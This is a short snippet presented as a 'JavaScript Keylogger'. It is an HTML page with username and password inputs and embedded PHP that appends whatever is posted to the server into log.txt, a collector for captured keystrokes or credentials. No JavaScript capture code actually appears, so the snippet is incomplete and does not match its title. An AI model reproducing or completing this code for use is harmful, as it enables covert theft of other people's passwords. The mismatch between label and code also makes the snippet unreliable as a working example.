JavaScript Keylogger

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Make a Keylogger in Javascript</title>
</head>

<body>

<?php
    $o = fopen("php://input", "r");
    $str = stream_get_contents($o);
    fclose($o);
    $t = fopen("log.txt", "a+");
    fwrite($t, $str);
    fclose($t);
?>

  Test Text:
	<input type="text" placeholder="username" /><br />
  Test Password:
  <input type="password" placeholder="type password" /><br /><br />
  Try check to your server log.txt
</body>
</html>
Nasty Newt